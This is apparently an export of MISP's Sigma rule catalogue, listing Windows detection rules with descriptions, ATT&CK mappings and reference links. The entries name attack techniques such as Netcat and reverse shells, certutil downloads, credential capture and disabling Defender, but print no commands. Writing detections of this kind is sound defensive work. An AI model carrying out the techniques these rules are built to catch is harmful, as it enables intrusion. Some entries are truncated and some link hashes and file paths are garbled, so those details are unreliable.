<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_tools.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_tools.yml</a></td>
</tr>
</tbody>
</table>

**Rundll32 Spawned Via Explorer.EXE**

Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.

The tag is: misp-galaxy: sigma-rules="Rundll32 Spawned Via Explorer.EXE"

Table 10182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Scheduled Task Executing Payload from Registry

Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.

The tag is: `misp-galaxy:sigma-rules="Scheduled Task Executing Payload from Registry"`

View relationships graph

Scheduled Task Executing Payload from Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10183. Table References

Links

| https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/ |
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml |

Potentially Suspicious DLL Registered Via Odbcconf.EXE

Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious DLL Registered Via Odbcconf.EXE"`

View relationships graph

Potentially Suspicious DLL Registered Via Odbcconf.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008"` with estimative-language:likelihood-probability="almost-certain"

Table 10184. Table References

Links

| https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ |
Suspicious Remote Child Process From Outlook

Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).

The tag is: `misp-galaxy: sigma-rules="Suspicious Remote Child Process From Outlook"`

View relationships graph

Suspicious Remote Child Process From Outlook has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Table 10185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sensepost/ruler">https://github.com/sensepost/ruler</a></td>
</tr>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes_remote.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes_remote.yml</a></td>
</tr>
</tbody>
</table>

Suspicious WebDav Client Execution Via Rundll32.EXE

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll, DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397

The tag is: `misp-galaxy: sigma-rules="Suspicious WebDav Client Execution Via Rundll32.EXE"`

View relationships graph

Suspicious WebDav Client Execution Via Rundll32.EXE has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

### Table 10186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png">https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png</a></td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/">https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/aceresponder/status/1636116096506818562">https://twitter.com/aceresponder/status/1636116096506818562</a></td>
</tr>
<tr>
<td><a href="https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/">https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

### Potentially Suspicious Child Process Of VsCode

Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.

The tag is: misp-galaxy: sigma-rules="Potentially Suspicious Child Process Of VsCode"

**View relationships graph**

Potentially Suspicious Child Process Of VsCode has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

### Table 10187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1618021838407495681">https://twitter.com/nas_bench/status/1618021838407495681</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1618021415852335105">https://twitter.com/nas_bench/status/1618021415852335105</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml</a></td>
</tr>
</tbody>
</table>

### Add User to Local Administrators Group

Detects suspicious command line that adds an account to the local administrators/administrateurs group
The tag is: misp-galaxy:sigma-rules="Add User to Local Administrators Group"

View relationships graph

Add User to Local Administrators Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 10188. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1">https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_local_admin_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_local_admin_group.yml</a></td>
</tr>
</tbody>
</table>

Script Event Consumer Spawning Process

Detects a suspicious child process of Script Event Consumer (scrcons.exe).

The tag is: misp-galaxy:sigma-rules="Script Event Consumer Spawning Process"

View relationships graph

Script Event Consumer Spawning Process has relationships with:


Table 10189. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/child-processes/">https://redcanary.com/blog/child-processes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Hashcat Password Cracker Execution

Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

The tag is: misp-galaxy:sigma-rules="HackTool - Hashcat Password Cracker Execution"

View relationships graph

HackTool - Hashcat Password Cracker Execution has relationships with:
Bypass UAC via CMSTP

Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files

The tag is: `misp-galaxy:sigma-rules="Bypass UAC via CMSTP"`

View relationships graph

Bypass UAC via CMSTP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Capture Credentials with Rpcping.exe

Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

The tag is: `misp-galaxy:sigma-rules="Capture Credentials with Rpcping.exe"`

View relationships graph
Capture Credentials with Rpcping.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

**Table 10192. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Rpcping/">https://lolbas-project.github.io/lolbas/Binaries/Rpcping/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vysecurity/status/974806438316072960">https://twitter.com/vysecurity/status/974806438316072960</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vysecurity/status/873181705024266241">https://twitter.com/vysecurity/status/873181705024266241</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcpingCredential_capture.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcpingCredential_capture.yml</a></td>
</tr>
</tbody>
</table>

**Taskmgr as Parent**

Detects the creation of a process from Windows task manager

The tag is: *misp-galaxy:sigma-rules=“Taskmgr as Parent”*

**View relationships graph**

Taskmgr as Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

**Table 10193. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

**PUA - Advanced Port Scanner Execution**

Detects the use of Advanced Port Scanner.

The tag is: *misp-galaxy:sigma-rules=“PUA - Advanced Port Scanner Execution”*

**View relationships graph**

PUA - Advanced Port Scanner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with
File Download From IP URL Via Curl.EXE

Detects file downloads directly from IP address URL using curl.exe

The tag is: `misp-galaxy:sigma-rules="File Download From IP URL Via Curl.EXE"`

Disable Windows Defender AV Security Monitoring

Detects attackers attempting to disable Windows Defender using Powershell

The tag is: `misp-galaxy:sigma-rules="Disable Windows Defender AV Security Monitoring"`

View relationships graph

Disable Windows Defender AV Security Monitoring has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
PUA - DefenderCheck Execution

Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings/byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.

The tag is: `misp-galaxy:sigma-rules="PUA - DefenderCheck Execution"`

View relationships graph

PUA - DefenderCheck Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"` with estimative-language:likelihood-probability="almost-certain"

Table 10197. Table References

Links

- [https://github.com/matterpreter/DefenderCheck](https://github.com/matterpreter/DefenderCheck)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml)

HackTool - SharpView Execution

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems.

The tag is: `misp-galaxy:sigma-rules="HackTool - SharpView Execution"`

View relationships graph

HackTool - SharpView Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"

Table 10198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomic/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomic/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview</a></td>
</tr>
<tr>
<td><a href="https://github.com/tevora-threat/SharpView/">https://github.com/tevora-threat/SharpView/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml</a></td>
</tr>
</tbody>
</table>

UAC Bypass WSReset

Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config

The tag is: *misp-galaxy: sigma-rules=*"UAC Bypass WSReset"

View relationships graph

UAC Bypass WSReset has relationships with:


Table 10199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Wsreset/">https://lolbas-project.github.io/lolbas/Binaries/Wsreset/</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf">https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml</a></td>
</tr>
</tbody>
</table>

DeviceCredentialDeployment Execution

Detects the execution of DeviceCredentialDeployment to hide a process from view

The tag is: *misp-galaxy: sigma-rules="DeviceCredentialDeployment Execution"

View relationships graph

DeviceCredentialDeployment Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with
WMIC Remote Command Execution

Detects the execution of WMIC to query information on a remote system.

The tag is: `misp-galaxy: sigma-rules="WMIC Remote Command Execution"`

View relationships graph

WMIC Remote Command Execution has relationships with:


PowerShell Base64 Encoded WMI Classes

Detects calls to base64 encoded WMI class such as "Win32_Shadowcopy", "Win32_ScheduledJob", etc.

The tag is: `misp-galaxy: sigma-rules="PowerShell Base64 Encoded WMI Classes"`

View relationships graph

PowerShell Base64 Encoded WMI Classes has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
Microsoft Workflow Compiler Execution

Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.

The tag is: `misp-galaxy:sigma-rules="Microsoft Workflow Compiler Execution"`

View relationships graph

Microsoft Workflow Compiler Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 10203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffadd3742bfcf365fee2a9/atomics/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffadd3742bfcf365fee2a9/atomics/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/">https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wins_powershell_base64_wmi_classes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wins_powershell_base64_wmi_classes.yml</a></td>
</tr>
</tbody>
</table>

System Network Connections Discovery Via Net.EXE

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

The tag is: `misp-galaxy:sigma-rules="System Network Connections Discovery Via Net.EXE"`

View relationships graph

System Network Connections Discovery Via Net.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"` with estimative-language:likelihood-probability="almost-certain"
PUA - Netcat Suspicious Execution

Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network.

The tag is: *misp-galaxy:sigma-rules*="PUA - Netcat Suspicious Execution"

View relationships graph

PUA - Netcat Suspicious Execution has relationships with:


Suspicious Download Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Download Via Certutil.EXE"

View relationships graph

Suspicious Download Via Certutil.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links

https://twitter.com/egre55/status/1087685529016193025
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://forensicitguy.github.io/agenttesla-vba-certutil-download/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Suspicious Execution of Systeminfo

Detects usage of the "systeminfo" command to retrieve information

The tag is: misp-galaxy:sigma-rules="Suspicious Execution of Systeminfo"

View relationships graph

Suspicious Execution of Systeminfo has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 10207. Table References

Links

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bf3f365flee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systeminfo_execution.yml

Domain Trust Discovery Via Dsquery

Detects execution of "dsquery.exe" for domain trust discovery

The tag is: misp-galaxy:sigma-rules="Domain Trust Discovery Via Dsquery"

View relationships graph

Domain Trust Discovery Via Dsquery has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
Suspicious Scan Loop Network

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Scan Loop Network"

View relationships graph

Suspicious Scan Loop Network has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Logged-On User Password Change Via Ksetup.EXE

Detects password change for the logged-on user’s via "ksetup.exe"

The tag is: *misp-galaxy:sigma-rules*="Logged-On User Password Change Via Ksetup.EXE"
Suspicious JavaScript Execution Via Mshta.EXE

Detects execution of javascript code using "mshta.exe".

The tag is: misp-galaxy: sigma-rules="Suspicious JavaScript Execution Via Mshta.EXE"

View relationships graph

Suspicious JavaScript Execution Via Mshta.EXE has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 10211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcddd3742b6cf365fee2a9/atomics/T1218.005/T1218.005.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcddd3742b6cf365fee2a9/atomics/T1218.005/T1218.005.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html">https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win</a> Mshta_javascript.yml</td>
</tr>
</tbody>
</table>

Ruby Inline Command Execution

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

The tag is: misp-galaxy: sigma-rules="Ruby Inline Command Execution"

View relationships graph

Ruby Inline Command Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ruby_inline_command_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ruby_inline_command_execution.yml</a></td>
</tr>
</tbody>
</table>
Potential RDP Tunneling Via SSH Plink

Execution of plink to perform data exfiltration and tunneling

The tag is: misp-galaxy:.sigma-rules="Potential RDP Tunneling Via SSH Plink"

View relationships graph

Potential RDP Tunneling Via SSH Plink has relationships with:


Table 10213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_susp_tunneling.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_susp_tunneling.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Logon Scripts - CommandLine

Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence

The tag is: misp-galaxy:.sigma-rules="Potential Persistence Via Logon Scripts - CommandLine"

View relationships graph

Potential Persistence Via Logon Scripts - CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

Table 10214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_logon_script.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_logon_script.yml</a></td>
</tr>
</tbody>
</table>

Delete Important Scheduled Task

Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities
The tag is: misp-galaxy:sigma-rules=“Delete Important Scheduled Task”

View relationships graph

Delete Important Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern=“Service Stop - T1489” with estimative-language:likelihood-probability=“almost-certain”

**Table 10215. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete.yml</a></td>
</tr>
</tbody>
</table>

**Obfuscated IP Download Activity**

Dectects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command

The tag is: misp-galaxy:sigma-rules=“Obfuscated IP Download Activity”

**Table 10216. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/fr0s7_/status/1712780207105404948">https://twitter.com/fr0s7_/status/1712780207105404948</a></td>
</tr>
<tr>
<td><a href="https://h.43z.one/ipconverter/">https://h.43z.one/ipconverter/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Yasser_Elsnbary/status/1553804135354564608">https://twitter.com/Yasser_Elsnbary/status/1553804135354564608</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_download.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE**

Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.

The tag is: misp-galaxy:sigma-rules=“Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE”

View relationships graph

Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern=“Disable or Modify Tools - T1562.001” with estimative-language:likelihood-probability=“almost-certain”
Suspicious Windows Defender Registry Key Tampering Via Reg.EXE

Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection

The tag is: `misp-galaxy:sigma-rules="Suspicious Windows Defender Registry Key Tampering Via Reg.EXE"`

View relationships graph

Suspicious Windows Defender Registry Key Tampering Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Kernel Memory Dump Via LiveKD

Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory

The tag is: `misp-galaxy:sigma-rules="Kernel Memory Dump Via LiveKD"`
Wusa Extracting Cab Files

Detects usage of the "wusa.exe" (Windows Update Standalone Installer) utility to extract cab using the "/extract" argument which is no longer supported. This could indicate an attacker using an old technique.

The tag is: `misp-galaxy:sigma-rules="Wusa Extracting Cab Files"`

Table 10220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_cab_files_extraction.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_cab_files_extraction.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Process Created Via Wmic.EXE

Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsvr32", etc.

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Created Via Wmic.EXE"`

View relationships graph

Suspicious Process Created Via Wmic.EXE has relationships with:


Table 10221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/10/08/ryuks-return/">https://thedfirreport.com/2020/10/08/ryuks-return/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious Process Execution From Fake Recycle.Bin Folder**

Detects process execution from a fake recycle bin folder, often used to avoid security solution.

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Execution From Fake Recycle.Bin Folder"`

**Table 10222. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/infected-usb-steal-secrets">https://www.mandiant.com/resources/blog/infected-usb-steal-secrets</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/">https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/</a></td>
</tr>
<tr>
